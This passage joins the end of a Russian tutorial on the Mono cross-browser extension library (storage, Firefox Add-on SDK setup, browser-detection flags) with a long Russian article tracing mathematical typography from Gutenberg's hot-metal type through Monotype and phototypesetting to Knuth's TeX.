console.log(storage.a);
});
mono.storage.sync.clear();
```
##### Как оно работает:
Работает хранилище следующим образом:
| | | | | |
| --- | --- | --- | --- | --- |
| браузер\страница | background | options | popup | Injected |
| Chrome | localStorage | localStorage via messages |
| Opera 12 (localStorage) |
| Safari |
| Chrome (storage) | chrome.storage |
| Firefox | Simple storage | Simple storage via messages |
| Opera 12 | widget.preferences |
В таблице всё, что с приставкой «via messages» означает, что хранилище работает через посылку сервисных сообщений к фоновой странице, разумеется фоновая страница должна слушать входящие сообщения. В иных случаях работа с хранилищем идет напрямую.
#### Подключение к расширению
**Chrome, Safari, Opera 12**
Нужно подключить mono.js на каждую страницу расширения.
**Firefox** (Addons-sdk only)
Тут все немного сложнее, нужно знать как работает Addons-sdk.
В lib/main.js нужно через require подключить файл monoLib.js и уже к ней подключать все остальные страницы, а так же background.js (т.е. фоновую страницу).
Я приведу пример main.js из тестового расширения:
**main.js**
```
(function() {
var monoLib = require("./monoLib.js");
var ToggleButton = require('sdk/ui/button/toggle').ToggleButton;
var panels = require("sdk/panel");
var self = require("sdk/self");
// говорим, что при нажатии на кнопку settingsBtn в настройках - открывать options.html
var simplePrefs = require("sdk/simple-prefs");
simplePrefs.on("settingsBtn", function() {
var tabs = require("sdk/tabs");
tabs.open( self.data.url('options.html') );
});
// подключаем виртуальный port к странице, т.к. options.html уже содержит mono.js
var pageMod = require("sdk/page-mod");
pageMod.PageMod({
include: [
self.data.url('options.html')
],
contentScript: '('+monoLib.virtualPort.toString()+')()',
contentScriptWhen: 'start',
onAttach: function(tab) {
monoLib.addPage(tab);
}
});
// подключаем библиотеку к injected page
pageMod.PageMod({
include: [
'http://example.com/*',
'https://example.com/*'
],
contentScriptFile: [
self.data.url("js/mono.js"),
self.data.url("js/inject.js")
],
contentScriptWhen: 'start',
onAttach: function(tab) {
monoLib.addPage(tab);
}
});
// добавляем кнопку на панель браузера
var button = ToggleButton({
id: "monoTestBtn",
label: "Mono test!",
icon: {
"16": "./icons/icon-16.png"
},
onChange: function (state) {
if (!state.checked) {
return;
}
popup.show({
position: button
});
}
});
// добавляем к кнопке попап
var popup = panels.Panel({
width: 400,
height: 250,
contentURL: self.data.url("popup.html"),
onHide: function () {
button.state('window', {checked: false});
}
});
// добавляем попап к monoLib *прошу заметить, что именно так, а не через onAttach
monoLib.addPage(popup);
// создаем виртуальный addon для фоновой страницы
var backgroundPageAddon = monoLib.virtualAddon();
// добавляем фоновую страницу в monoLib
monoLib.addPage(backgroundPageAddon);
// подключаем фоновую страницу, как модуль
var backgroundPage = require("./background.js");
// отдаем виртуальный addon фоновой странице
backgroundPage.init(backgroundPageAddon);
})();
```
Но увы и это ещё не всё. Наша общая страница background.js должна уметь работать и в режиме модуля. И нужно подключить туда mono.js.
Для этого в начало страницы добавляем следующее:
**background.js**
```
(function() {
// проверяем модуль ли это
if (typeof window !== 'undefined') return;
// добавляем window (не обязательно)
window = require('sdk/window/utils').getMostRecentBrowserWindow();
// на всякий случай добавляем флаг, что это модуль
window.isModule = true;
var self = require('sdk/self');
// подключаем библиотеку из директории data/js
mono = require('toolkit/loader').main(require('toolkit/loader').Loader({
paths: {
'data/': self.data.url('js/')
},
name: self.name,
prefixURI: self.data.url().match(/([^:]+:\/\/[^/]+\/)/)[1],
globals: {
console: console,
_require: function(path) {
// описываем все require которые нужны mono.js
switch (path) {
case 'sdk/simple-storage':
return require('sdk/simple-storage');
case 'sdk/window/utils':
return require('sdk/window/utils');
case 'sdk/self':
return require('sdk/self');
default:
console.log('Module not found!', path);
}
}
}
}), "data/mono");
})();
var init = function(addon) {
if (addon) {
mono = mono.init(addon);
}
console.log("Background page ready!");
}
if (window.isModule) {
// если модуль, объявляем init метод.
exports.init = init;
} else {
// если не модуль - стартуем
init();
}
```
После того, как выполнится функция init, далее уже можно запускать всё остальное, что зависит от mono.
\*замечание, в режиме модуля в scope даже нету window, поэтому все нужно подключать отдельно.
#### Костыли
Для того, что бы использовать нативный api в каждом браузере нужны способы их идентификации.
Библиотека предоставляет следующий список переменных.
* mono.isFF — текущий браузер Firefox;
+ mono.isModule — текущая страница — модуль;
* mono.isGM — запущено в GreaseMonkey подобной среде;
+ mono.isTM — запущено в Tampermonkey;
* mono.isChrome — расширение работает в Chrome;
+ mono.isChromeApp — определено что это chrome приложение;
+ mono.isChromeWebApp — определено что это chrome “приложение” (ранняя версия хром приложений);
+ mono.isChromeInject — определено что скрипт подключен к странице;
* mono.isSafari — браузер Safari;
+ mono.isSafariPopup — запущено в popup окне;
+ mono.isSafariBgPage — запущено в фоновой странице;
+ mono.isSafariInject — запущено в подключаемой странице;
* mono.isOpera — запущено в Opera 12;
+ mono.isOperaInject — скрипт подключен к странице.
Вот по этим флагам можно и выбирать какой api дергать в браузере.
#### Утилиты в Firefox
В Firefox любая страница (если она не модуль, т.е. фоновая страница) единственное что может это отсылать сообщения. Поэтому добавил некоторое количество сервисов, которые мне пригодились.
Посылка сообщений в popup окно:
```
mono.sendMessage('Hi', function onResponse(message){
console.log("response: "+message);
}, "popupWin");
```
Изменение размера всплывающей страницы:
```
mono.sendMessage({action: "resize", width: 300, height: 300}, null, "service");
```
Открытие новой вкладки:
```
mono.sendMessage({action: "openTab", url: "http://.../"}, null, "service");
```
В общем то если взгляните на код, уверен, у вас не составит труда добавлять свои “сервисы” для удобства взаимодействия с API.
#### Сборка
Библиотека для удобства разбита на несколько файлов. Собирается всё с помощью Ant, файл сборки лежит в “/src/vendor/Ant”. В нем можно убрать не нужные вами браузеры.
#### Заключение
Вот такая незамысловатая библиотечка. Конечно у ней всяко есть какие нибудь баги и недочеты. Но вроде бы работает. Уверен что у вас не составит большого труда разобраться в коде и где нужно что нужно подпилить под себя.
Если вам показалось все это слишком сложным, в гите есть пример простенького расширения, которое собирается для Chrome, Opera 12, Safari, Firefox. Я использую mono в нескольких своих расширениях и она стала для меня незаменимой.
Спасибо что дочитали!
[GitHub](https://github.com/Feverqwe/Mono) | https://habr.com/ru/post/246351/ | null | ru | null |
# От кипящего свинца до компьютеров: история математической типографики
*Математические шрифты шести разных систем печати, изображение [Chalkdust](http://chalkdustmagazine.com/blog/is-there-a-perfect-maths-font/)*
Я всегда считал, что создание печатных математических трудов больше похоже на вид искусства, чем на обычную полиграфию. Тот, кто печатает математические работы, скорее не «типограф», а художник, стремящийся изложить абстрактные данные на двухмерной поверхности. Математические символы сами по себе являются языком, но в основе своей это *визуальное представление* добытого человеком знания — знания, которое может быть слишком неэффективным, если передавать его через вербальные объяснения. Это делает печать математики ближе к форме визуализации данных, а не обычному печатному тексту.
Неважно, насколько тяжело было создавать печатный текст — создание печатных математических символов *всегда* было сложнее. В доцифровую эпоху наполненные уравнениями тексты называли «штрафной копией», потому что подготовка математической записи для печатных прессов требовала значительных лишних затрат времени и денег.
Даже когда современные текстовые процессоры, например, Microsoft Word, обзавелись редакторами уравнений, они обычно были сложны в использовании и часто обеспечивали неудовлетворительные результаты. Хотя LaTeX и похожие на него системы обеспечивают высочайшее качество цифровой математической записи, эти фреймворки создают гораздо более высокий барьер в изучении, чем обычные текстовые процессоры.
Но все эти современные «трудности» в гораздо большей степени вина [гедонистической адаптации](https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%B4%D0%BE%D0%BD%D0%B8%D1%81%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D0%B0%D0%B4%D0%B0%D0%BF%D1%82%D0%B0%D1%86%D0%B8%D1%8F), чем любого из доступных нам инструментов. Нам намного легче, чем любой другой ступени цивилизации, и я считаю, что для пишущих математические тексты очень важно иметь хотя бы базовое знание истории математической печати.
Для меня знание этой истории обладает несколькими практическими преимуществами. Я начал испытывать большую благодарность за те инструменты, которые есть у меня сегодня — инструменты, используемые для упрощения и улучшения представления количественных понятий. Кроме того, это мотивировало меня стремиться к большему изяществу в изложении математики — мне кажется, этот аспект моей профессии сильно деградировал за последние двадцать лет эры Microsoft Office.
И самое важное — это напомнило мне, сколько есть и всегда было искусства в изложении *любых* языков. Поскольку доинтернетная печать требовала такого множества этапов, участия стольких людей, столько *физического* труда и долгого *ожидания*, что появлялось намного больше слоёв искусства между мыслями автора и их окончательным изложением на бумаге. Во всём этом процессе задействовалось больше *мышления*.
Чтобы полностью отдать должное математической типографии, нам нужно для начала по достоинству оценить и всю историю типографии, которая являлась также историей человеческой цивилизации. Ни одна другая форма искусства не повлияла на наши жизни больше, чем печать.
Два первых Интернета
--------------------
Несмотря на то, что вся история печати простирается на множество веков, сложно не согласиться, что изобретение в пятнадцатом веке Иоганном Гутенбергом печатного станка стало для письменности моментом «Большого взрыва». Его можно так же сравнить с появлением Интернета, как и изобретение телеграфа и самого Интернета.
До Гутенберга чтение было уделом знати и академистов. После Гутенберга произошёл взрыв книгопечатания, а чтение экспоненциально становилось всё более доступным массам. Уровень грамотности резко вырос. [Произошла Реформация](http://www.reformation21.org/articles/the-importance-of-the-printing-press-for-the-protestant-reformation-part-two.php).
*Печатный станок Гутенберга*
Я уверен, что изобретение печатного станка можно сравнить с эволюционным «изобретением» самой человеческой речи. В *The Origins of Political Order*, Френсис Фукуяма говорит, что устная речь послужила катализатором отделения людей от более низких форм приматов:
> Создание речи не только позволило выполнять кратковременную координацию действий, но и открыла возможность абстракции и теории, критически важных способностей познания, уникальных для человеческих существ. Слова могут относиться и к конкретным объектам, и к абстрактным классам объектов (собакам, деревьям), и к абстракциям, связанным с невидимыми силами (Зевс, гравитация).
Речь также давала семьям и социальным группам практические способности к выживанию:
> Не наступив на змею и не съев корешок, от которого умер на прошлой неделе его брат, человек не только избегал той же судьбы, но и мог быстро передать это правило своему потомку.
Устное общение стало не только навыком выживания, но и инструментом невероятной мощи. Реторика и искусство убеждения высоко ценились в древнегреческом и древнеримском обществе.
Если устная речь стала первым человеческим «Интернетом», то массовая печать оказалась следующим важным пунктом демократизации человеческого знания. Массовое производство печатных материалов на неисчислимые порядки усилило человеческий голос по сравнению с устным общением.
О кипящем свинце и графике
--------------------------
Как и все изобретатели, Иоганн Гутенберг на самом деле не совершил ничего *нового*, он просто объединил имеющиеся материалы и технологии *новым образом*. Гутенберг не изобрёл печать. Он не изобрёл станок. Он даже не изобрёл наборный шрифт, в котором обычно используется набор отливок отдельных букв с нанесением на них чернил или погружением их в чернила, с последующим прижатием к бумаге.
*Металлический наборный шрифт, собираемый в тексты вручную*
Главной инновацией Гутенберга на самом деле стал процесс *литья букв*. До времени Гутенберга создание букв из металла, дерева и даже керамики в больших масштабах было невероятно долгим и сложным процессом. Гутенберг совершил революцию в создании шрифтов из горячего металла, подобрав в основном состоящий из свинца сплав, который можно было расплавить и залить в форму, называемую матрицей. Также ему пришлось [изобрести чернила](http://www.themorgan.org/collections/works/gutenberg/invention-of-printing), прилипающие к свинцу.
Именно благодаря свинцовому сплаву и матрицам имя Гутенберга стало синонимом печати. На самом деле, полученная свинцовая смесь оказалась столь эффективной, что её продолжали использовать даже в двадцатом веке, а в большинстве шрифтолитейных машин, созданных после его эпохи, продолжали применять похожие формы матриц для отливки шрифтов.
С точки зрения рабочего процесса инновация Гутенберга заключалась в отделении *литья шрифтов* от *печати*. Благодаря большему количеству доступных букв простым увеличением количества рабочих можно было получить больше наборных текстов. Благодаря большему количеству набранных страниц печатные станки могли создавать за час больше страниц. А чем больше страниц, тем, разумеется, больше книг.
Но давайте не будем себя обманывать. Даже после Гутенберга набор одной книги был невероятно монотонным процессом. Первый шедевр Гутенберга — Библия Гутенберга (издана примерно в 1450-х), считалась (и считается) примечательным творением искусства. Для неё потребовалось около 300 отдельных символов. Каждая строчная и заглавная буква, каждый символ требовал одного кусочка свинца. Не только каждый символ набирался вручную, для выравнивания нужно было вручную выравнивать слова, строка за строкой.
*Библия Гутенберга*
Даже несмотря на то, что инновации Гутенберга позволили печатать книги с невозможной ранее скоростью, это всё равно был мучительный по меркам современных стандартов процесс. Но именно в эти моменты, потраченные на выравнивание символов и строк расцвело то, что называется «чёрным искусством» книгопечатания. Набор даже самого простого текста был интимным, живым процессом.
Улучшенный способ отливки горячего свинца
-----------------------------------------
Искусство набора текстов вручную передавалось от поколения к поколению более 400 лет, пока промышленная революция не начала заменять человеческие руки машинами во всех аспектах жизни. Наиболее известными технологиями конца девятнадцатого века, улучшившими печать, стали монотип и линотип, изобретённые в США.
Система «монотип» была изобретена рождённым в США Толбертом Лэнстоном, а линотип придумал немецкий иммигрант Отмар Мергенталер. Оба они усовершенствовали систему, разработанную Гутенбергом несколько веков назад, но каждый добавил собственный подход к искусству превращения горячего свинца в печать.
Поскольку аппараты-линотипы могли за раз создавать полностью отлитые строки выровненных свинцовых шрифтов, они стали невероятно популярными для большинства книг, газет и журналов. Просто представьте выражение лиц людей, которым сказали, что можно набирать *целые строки* металлических литер вместо набора каждой буквы вручную!
*Четыре строки линотипа, изображение [Deep Wood Press](http://www.deepwoodpress.com/linoroom.html)*
Система «монотип» создавала отдельные литеры. Она не обладала такой же скоростью набора, как линотип, но позволяла мастерски и гибко настраивать отдельные литеры. Также монотипу был ближе математический подход к печати:
> Во многих смыслах, основной инновацией системы «монотип» было не механическое устройство, каким бы гениальным оно ни было. Чтобы обеспечить отливку полностью выровненных строк литер, Толберт Лэнстон решил не следовать путём Отмара Мергенталера, использовавшего для расстановки пробелов между словами шпационные клинья. Вместо этого он разработал систему единиц, назначавшую каждому символу значение от пяти до восемнадцати, соответствовавшее его ширине. Буква «i» в нижнем регистре или точка занимали пять единиц, «W» в верхнем регистре занимала восемнадцать. Это позволило разработать в клавиатуре вычислительный механизм, ставший главной частью для выполнения более сложной печати. ([Letterpress Commons](https://letterpresscommons.com/monotype/ "Monotype - Letterpress Commons"))
Поэтому символично, что он, хотя и был медленнее линотипа, но обеспечивал бОльшую сложность, благодаря чему стал предпочтительным выбором для математических текстов и публикаций, содержащих нестандартные буквы и символы.
Система «монотип» стала шедевром инженерной мысли, и во многом она усовершенствовала рабочий процесс Гутенберга с помощью технологий промышленного века. Также она является фантастическим примером прообраза «программирования», потому что в ней использовалась бумажная лента с перфорацией, передающая инструкции машине — инновация, которую многие люди ассоциируют с развитием компьютеров в середине двадцатого века, хотя перфокарты использовались [ещё в 1725 году](https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D1%84%D0%BE%D0%BA%D0%B0%D1%80%D1%82%D0%B0).
Как и Гутенберг, Лэнстон стремился улучшить процесс печати, разделив его на специализированные, более мелкие этапы. Система «монотип» состояла из двух станков: огромной клавиатуры и шрифтолитейной машины.
На клавиатуре были отдельные клавиши для разных регистров букв, чисел и общих символов. Работа оператора клавиатуры в основном заключалась в посимвольном вводе и выборе места завершения строк. После завершения строки машина вычисляла необходимое для выравнивания строки расстояние между словами, и пробивала отверстия в бумажной ленте. Шрифтолитейная машина должна была считывать рисунки из отверстий, чтобы определить, как выполнять отливку строк.
Таким образом, типография могла ускорить этап «ввода» печати, просто использовав в процессе больше клавиатур (и людей). Это было значительным усовершенствованием по сравнению с ручным набором, потому что оператор клавиатуры мог генерировать больше инструкций на ленте, чем ручной наборщик.
Шрифтолитейная машина тоже была очень эффективной. Она считывала ленту, строка за строкой, заливала горячий жидкий свинец в каждую печатную матрицу, а затем выводила охлаждённую водой литеру на наборную доску, где они собирались в выровненные строки.
На этом этапе монотип обеспечивал основное преимущество над линотипом. Если сборщик или любой другой человек, проверяющий набор, находил ошибку, набор можно довольно просто изменить вручную (особенно если корректировки требовал единственный символ).
Легко понять, почему монотип был лучше линотипа для технических текстов, в том числе математических. Но даже несмотря на то, что на клавиатуре монотипа было огромное количество клавиш и её можно было изменять для специальных целей, она не была предназначена для генерирования математической записи.
Как я сказал выше, как бы ни было тяжело создавать текст, создание математических текстов *всегда* было ещё сложнее. [Дэниел Рэтиган](http://ultrasparky.org/school/pdf/Rhatigan_Monotype_4-line_math.pdf):
> Несмотря на эффективность стандартной системы «монотип», механический набор обеспечивал возможность ввода только самых простейших математических записей. Простые однострочные выражения можно было набирать без ручного вмешательства, но в большинстве математических формул используется смесь латинских и курсивных символов, числа, символы греческого алфавита, надстрочные и подстрочные обозначения и многие другие символы. Для упрощения процесса печатники и сама компания Monotype часто призывала авторов использовать альтернативные формы записи, которые было бы проще набирать, но для ясности изложения нередко требовалась более сложная в наборе запись.
>
>
>
> Даже если в матрице было достаточно места для всех одновременно необходимых символов, частое использование символов большого размера, узких полос, расположенных друг над другом символов и чисел требовал использования разных размеров корпусов, собиравшихся вместе, как головоломка. Широкий выбор стилей и размеров шрифтов делал набор текста и даже умеренно сложной математики дорогостоящей [sic], потому что требовалось много времени и усилий для сборки материала вручную на этапе вёрстки.
*Сложное расположение символов и пробелов требовало набора математических записей из металлических литер, изображение The Printing of Mathematics (1954)*
Хотя монотипу так и не удалось заменить ручной набор математических обозначений, британская Monotype Corporation предпринимала огромные усилия в конце 1950-х, введя четырёхстрочную систему для набора уравнений. Четырёхстрочная система разбивала стандартную строку уравнения на четыре области: первая и вторая области находились в верхней половине строки, а третья и четвёртая — в нижней половине. Также она позволяла вставить тонкую полоску высотой в два кегля между второй и третьей областями. Высота этой средней полосы была в точности равна стандартному знаку равенства (=) и была основной характеристикой, отличавшей четырёхстрочную систему монотипа от её конкурента, «способа Паттона» для набора четырёхстрочных уравнений, разработанного в США.
*Четырёхстрочная система, иллюстрация Дэниела Рэтигана из «The Monotype 4-Line System for Setting Mathematics»*
Хотя четырёхстрочная система монотипа ещё больше стандартизовала математическую типографику, позволяя набирать на модифицированной клавиатуре монотипа множество математических символов, она оказалась «лебединой песней» роли монотипа в математической типографике, да и самой эры горячей отливки шрифтов в целом. Примерно через десяток лет после введения в производство четырёхстрочной системы печать навеки остыла.
Компромисс пишущей машинки
--------------------------
В двадцатом веке, особенно после Второй мировой войны, произошёл взрыв в создании научной литературы, не только в академическом, но и в общественном и частном секторе. Телекоммуникационный бум и космическая гонка не произошли бы без активного обмена математическими знаниями.
Монотип был приемлемым решением только для публикаций, стоивших затрат на печатный станок. Многие технические труды «издавались» только на пишущей машинке. Уравнения или вписывались от руки, или составлялись на чём-то вроде пишущей машинки [IBM Selectric](https://ru.wikipedia.org/wiki/IBM_Selectric), ставшей очень популярной в 1960-х. Пишущие машинки прочно обосновались в офисах до конца двадцатого века.
*Страховой документ, набранный на пишущей машинке с написанными от руки формулами (1989 год)*
Большие отделы в организациях и университетах не только имели целые легионы секретарей, набирающих документы, во многих также были и технические наборщики. Случались интересные истории, позволяющие понять ежедневные трудности работы, вроде этой, рассказанной комментатором с Math Overflow [Питером Мэем](https://mathoverflow.net/questions/19930/writing-papers-in-pre-latex-era):
> В 1960-х и 1970-х в Чикаго у нас был технический наборщик, настолько освоивший профессию, что, не зная математики, мог находить и находил математические ошибки, просто взглянув на текст. Кроме того, он считал себя художником, и очень трудно было получить результат, который нужен был нам, а не ему.
Важнейшей особенностью Selectric был пишущий шарик размером с мяч для гольфа, который можно было заменять. Один из созданных IBM печатных шариков [содержал математические символы](http://www.duxburysystems.org/downloads/library/texas/apple/cnthesis/selectric.htm), поэтому наборщик при необходимости мог просто менять пишущие шарики и составлять документ, содержащий математические записи. Однако напечатанные результаты были гораздо менее красивыми, чем написанные от руки формулы, и не шли ни в какое сравнение с монотипом.
*Уравнение, набранное на пишущей машинке IBM Selectric, изображение [Ника Хиэма](https://nickhigham.wordpress.com/2016/09/26/mathematical-word-processing-historical-snippets/)*
Отливка со скоростью света
--------------------------
Вторая половина двадцатого века продолжалась, и технологический процесс всё более упрощал жизнь тем, кто предпочитал скорость эстетике. В 1960-х годах фотонабор — который на самом деле был изобретён сразу после Второй мировой войны, но потребовал инноваций компьютерной эры, чтобы обрести полную силу — стремительно заменил горячий свинец и металлические матрицы светом и негативами плёнок.
Фотонабор во всех аспектах был *значительно* быстрее, чем набор из горячих металлических литер. После того, как фотонабор повзрослел, текст можно стало набирать на экране, а не в процессе традиционной клавиатурной печати, использовавшейся в монотипе и линотипе. Это намного упрощало поиск ошибок в процессе набора.
*Мужчина работет с Lumitype 450, популярной в 1960-х годах фотонаборной машиной*
Фотонаборные машины могли генерировать сотни символов в секунду благодаря быстрому мерцанию света сквозь матрицу плёночного негатива. И вместо набора свинцовых литер наборщики начали собирать то, что в сущности являлось фотографиями текста.
Фотонабор обеспечивал и бОльшую универсальность. В аппаратах монотипа и линотипа размеры шрифтов были ограничены физическим размером матрицы. Такие физические ограничения не мешали свету, который легко можно было отмасштабировать в фотонаборной машине для создания увеличенных версий символов.
Даже несмотря на то, что монотипу удавалось выживать, хотя и в очень узкой нише, он, в сущности, вымер ещё в середине 1970-х. Полиграфические компании не могли устоять перед привлекательностью скорости и низкой стоимости фотонабора.
Фотонабор и в самом деле стал новым видом типографии, но на деле он оказался предвестником зарождающейся компьютерной эры. А как мы все знаем, всё, чему могут дать жизнь компьютеры, они же могут и заменить. [Кларк Коффи](http://haagens.com/oldtype.tpl.html):
> Без управляющих ими компьютеров фотонаборные машины были похожи на старые линотипы, только создавали они бумагу, а не свинец. Но благодаря компьютерам все эти решения, принимавшиеся старыми наборными машинами, стало возможно запрограммировать. Мы можем без всяких проблем выполнять кернинг символов, словари и программы способны сами расставлять переносы, строки и столбцы можно запросто выравнивать, а специальные эффекты типа буквиц становятся рутинной задачей.
В конце 1970-х годов компьютеры стали достаточно мощными, чтобы справляться с этими задачами, но, разумеется, сами по себе компьютеры [не *хотят* заниматься искусством печати](http://www.practicallyefficient.com/2017/06/21/doesnt-want-anything.html). Компьютерам нужны инструкции художников. К счастью для нас, такой художник с навыками программиста и стремлением перенести искусство набора в цифровую эпоху *нашёлся*.
Новая матрица, заполненная единицами и нулями
---------------------------------------------
Хотя многие смотрели на фотонаборную типографию с равнодушием, одного человека она заинтересовала. Так случилось, что блестящего математика и преподавателя информатики *сильно* волновало то, как выглядели математические записи в печати.
> Профессор информатики Стэнфордского университета Дональд Кнут писал труд *«Искусство программирования»*, который должен был состоять из семи томов. Том третий был опубликован в 1973 году и набран на монотипе. К тому времени компьютеры развились до такой степени, что новая редакция второго тома была готова, но набор на монотипе уже оказался невозможен. Гранки, которые издатель вернул Кнуту, были набраны фотоспособом. Кнут был расстроен: результаты выглядели настолько ужасно, что отбили всякое желание продолжать написание книги. Но возможность всё исправить появилась сама по себе, в виде зарождающихся устройств цифрового ввода — изображения букв можно было собирать из нулей и единиц. Кнуту, как специалисту по компьютерам, эта система была понятна. Так началась разработка TeX. ([Барбара Битон и Ричард Пэлес](http://www.ams.org/publications/authors/Communication_of_Mathematics_with_TEX.pdf))
*Дональд Кнут (1970-е)*
К 1978 году Кнут уже был готов объявить о создании TeX («tek»[1](#fn1)) миру на ежегодной встрече Американского математического общества (AMS). В своей лекции, позже [опубликованной](http://www.ams.org/journals/bull/1979-01-02/S0273-0979-1979-14598-1/S0273-0979-1979-14598-1.pdf) AMS в марте 1979 года, Кнут заявил следующее:
> Математические книги и журналы выглядят не так красиво, как раньше. Нет, их математическое содержимое не стало плохим, скорее это вызвано тем, что старые и хорошо развитые традиции печати стали слишком дорогими. К счастью, похоже, что для решения этой проблемы можно использовать саму математику. ([AMS](http://www.ams.org/journals/bull/1979-01-02/S0273-0979-1979-14598-1/S0273-0979-1979-14598-1.pdf))
Важность его утверждения сегодня сложно оценить в полной мере. Это не столько свидетельство мастерства Кнута как математика и компьютерного специалиста — в 1970-х определённо были и другие люди со сравнимыми навыками в математике и компьютерах[2](#fn2). Роль Кнута в истории типографии сделало столь особой то, что его так сильно волновало *качество* типографии 1970-х, и то, что он воспользовался своими техническими навыками для имитации искусства, очень ценимого им с эры монотипов.
Это не было тривиальной математической задачей:
> Наборщик [эры горячего свинца] в одиночку нёс ответственность за внешний вид каждой страницы. Удивительные превратности расстановки переносов, особенно в английском языке, полностью находились под контролем наборщика (например, слово «present» как существительное переносится иначе, чем то же слово как глагол). Каждый особый случай: буквицы, переносы, ударения, математические формулы и уравнения, таблицы, отступы, сноски, колонтитулы, лигатуры и т.д. зависел от навыков и художественного чутья наборщика. ([Кларк Коффи](http://haagens.com/oldtype.tpl.html))
Кнут признаёт, что он был не первым, кто создавал буквы, числа и символы с помощью математических способов. Первые попытки совершались ещё в пятнадцатом веке, но они были ограничены гораздо более скромным математическим аппаратом (в основном линиями и кругами), который просто не мог справиться с тысячами нюансов качественной типографии.
Однако к 1970-м уже появились три ключевые инновации, которыми мог воспользоваться Кнут. Во-первых, математика стала гораздо более изощрённой: кубические сплайны позволили задавать точные формулы для символов любой формы. Во-вторых, компьютеры позволили запрограммировать формулы Кнута с точной повторяемостью. Компьютеры также позволили циклически проходить по строкам текста, принимая решения о расстояниях между словами для выравнивания, и даже ретроспективно расставляя переносы в словах для обеспечения оптимальной расстановки слов в параграфе. В-третьих, жизнеспособной стала цифровая печать, и несмотря на привередливый вкус Кнута, результаты его вполне удовлетворяли.
Предоставим слово самому Кнуту:
> … Я довольно скептически был настроен относительно цифровой типографии, пока не увидел настоящий пример того, что было сделано на высококачественной машине. Я рассмотрел результат под увеличительным стеклом: невозможно было определить, что буквы сгенерированы дискретным растровым изображением! Причина заключалась не в том, что наш глаз не может распознать более 1000 точек на дюйм; при определённых условиях он на это способен. Причина в том, что частицы чернил не могут выделить такие мелкие детали — невозможно напечатать тонкую чернильную линию зигзагом 1000 раз по диагонали листа площадью в квадратный дюйм — чернила будут скруглять углы. На самом деле критичным числом будет скорее 500, а не 1000. Таким образом, физические свойства чернил приводят к тому, что растр совершенно незаметен.
Кнут был уверен, что настало время помочь типографии перепрыгнуть через фотонабор — от матриц и раскалённого свинца к страницам пикселей.
Я уверен, что при разработке TeX и Metafont Кнут несколько испытывал моменты «это *должно* стать будущим» — но скорее всего иные, чем у Стива Джобса, когда тот стоял в калифорнийском гараже возле первого прототипа Apple I год-два спустя. На самом деле, как и у многих других похожих на Джобса новаторов конца двадцатого века, творческая энергия Кнута управлялась будущим, которое он видел в своей инновации:
> Я верю, что в пределах ближайших десяти лет привычная офисная пишущая машинка будет заменена телевизионным экраном, соединённым с клавиатурой и небольшим компьютером. Будет просто вносить изменения в рукописи, заменять все вхождения одной фразы на другую, и так далее, и передавать рукопись или на экран телевизона, или на печатное устройство, или на другой компьютер. Такие системы уже используются в большинстве газет, а новые экспериментальные системы для офисов компаний будут отображаться множеством шрифтов. Уже недалеко то время, когда эти машины изменят традиционные способы подготовки рукописей в университетах и технических лабораториях.
Сегодня мы принимаем как само собой разумеющееся, что компьютеры могут мгновенно отрисовывать почти всё, что мы можем придумать, но в конце 70-х это было похоже на научную фантастику. Хотя основной целью TeX было использование математики для автоматизации настройки символов в выходных данных, Кнут также хотел, чтобы и *ввод* данных был как можно более приятным и логичным для человеческого глаза[3](#fn3).
Например, следующий синтаксис TeX:
```
$y = \sqrt{x} + {x - 1 \over 2}$
```
отрендерится в такое выражение:
TeX был важным изобретением, но его исходная форма была применима всего лишь на малочисленных мейнфреймах. Добиться успеха TeX позволила портируемость — она была достигнула выпуском TeX82, второй версии TeX, выпущенной с помощью Фрэнка Ляна в 1982 году для множества платформ. В TeX82 Кнут также реализовал [аппаратно независимый формат файлов (DVI)](https://ru.wikipedia.org/wiki/DVI_(TeX)) для вывода TeX. С подходящим DVI-драйвером любой принтер мог считывать двоичные инструкции файла DVI и преобразовывать их в графический (печатный) вывод.
Кнут внёс единственное крупное обновление в TeX только в 1989 году: TeX 3.0 позволил обрабатывать 256 вводимых символов вместо исходных 128. Это изменение было внесено под влиянием быстро растущей пользовательской базы TeX в Европе — людям требовалась возможность ввода диакритических символов и правильная расстановка переносов в неанглоязычных текстах.
За исключением исправлений незначительных ошибок, [Кнут непреклонно считал](http://www.ntg.nl/maps/05/34.pdf), что TeX не нужно обновлять после версии 3:
> Я сделал эти системы общественным достоянием, чтобы в любой точке мира люди могли свободно использовать мои идеи. Я потратил тысячи часов, чтобы обеспечить идентичные результаты работы на всех компьютерах. Я твёрдо уверен, что неизменяемые системы имеют огромную ценность, даже несмотря на то, что любую сложную систему можно улучшить. Поэтому я считаю, что будет неумно вносить дальнейшие «улучшения» в системы TeX и METAFONT. Давайте считать эти системы незыблемыми опорами, которые и сто лет спустя будут давать те же результаты, что и сейчас.
Такой уровень ограничений был столь же поэтичен, как и работа Кнута по сохранению многовекового искусства математической типографии от стремительно развивающейся типографической индустрии. После того, как он решил математику типографии, он не видел причин нарушать процесс исключительно ради этого нарушения.
После выпуска TeX 3.0 прошло уже почти тридцать лет, но его сложный алгоритм выравнивания строк по-прежнему используется в других издательских инструментах для настольных компьютеров. Нет лучшего примера, чем [сравнение Роэля Зинкстока](http://www.rtznet.nl/zink/comparison.pdf) первого параграфа "*Моби Дика*", напечатанного в Microsoft Word, Adobe InDesign и pdfLaTeX (макропакет LaTeX, выводящий TeX непосредственно в PDF).
После версии 3.0 Кнут хотел выпускать релизы с точкой, за которой добавлялась следующая часть числа π (текущая версия 3.14159265). Кнут также заявил, что после его смерти номер версии должен стать постоянно равным π. «С этого момента, — постановил он, — все „баги“ станут постоянными „фичами“».
Усовершенствование создания контента
------------------------------------
В *The TeXbook* Кнут изящно излагает эволюционный цикл обратной связи между людьми и технологическими средствами выражения:
> Когда вы впервые попробуете использовать TeX, то найдёте, что некоторые части очень просты, к другим же придётся привыкнуть. Днём позже или около того, когда вы успешно наберёте несколько страниц, то станете другим человеком; мешавшие вам концепции станут казаться естественными, и вы сможете визуализировать конечный результат в сознании ещё до того, как он выйдет из машины. Но, возможно, вы встретитесь со сложностями иного рода. Ещё через неделю ваша точка зрения снова изменится, и вы начнёте расти в ещё одном направлении, и так далее. С течением лет вы можете использовать много различных способов набора, и вы поймёте, что ваш образ работы с TeX будет меняться с ростом опыта. Так происходит и с любым другим мощным инструментом: всегда можно научиться чему-то новому, и всегда есть лучшие способы сделать то, что вы делали раньше.
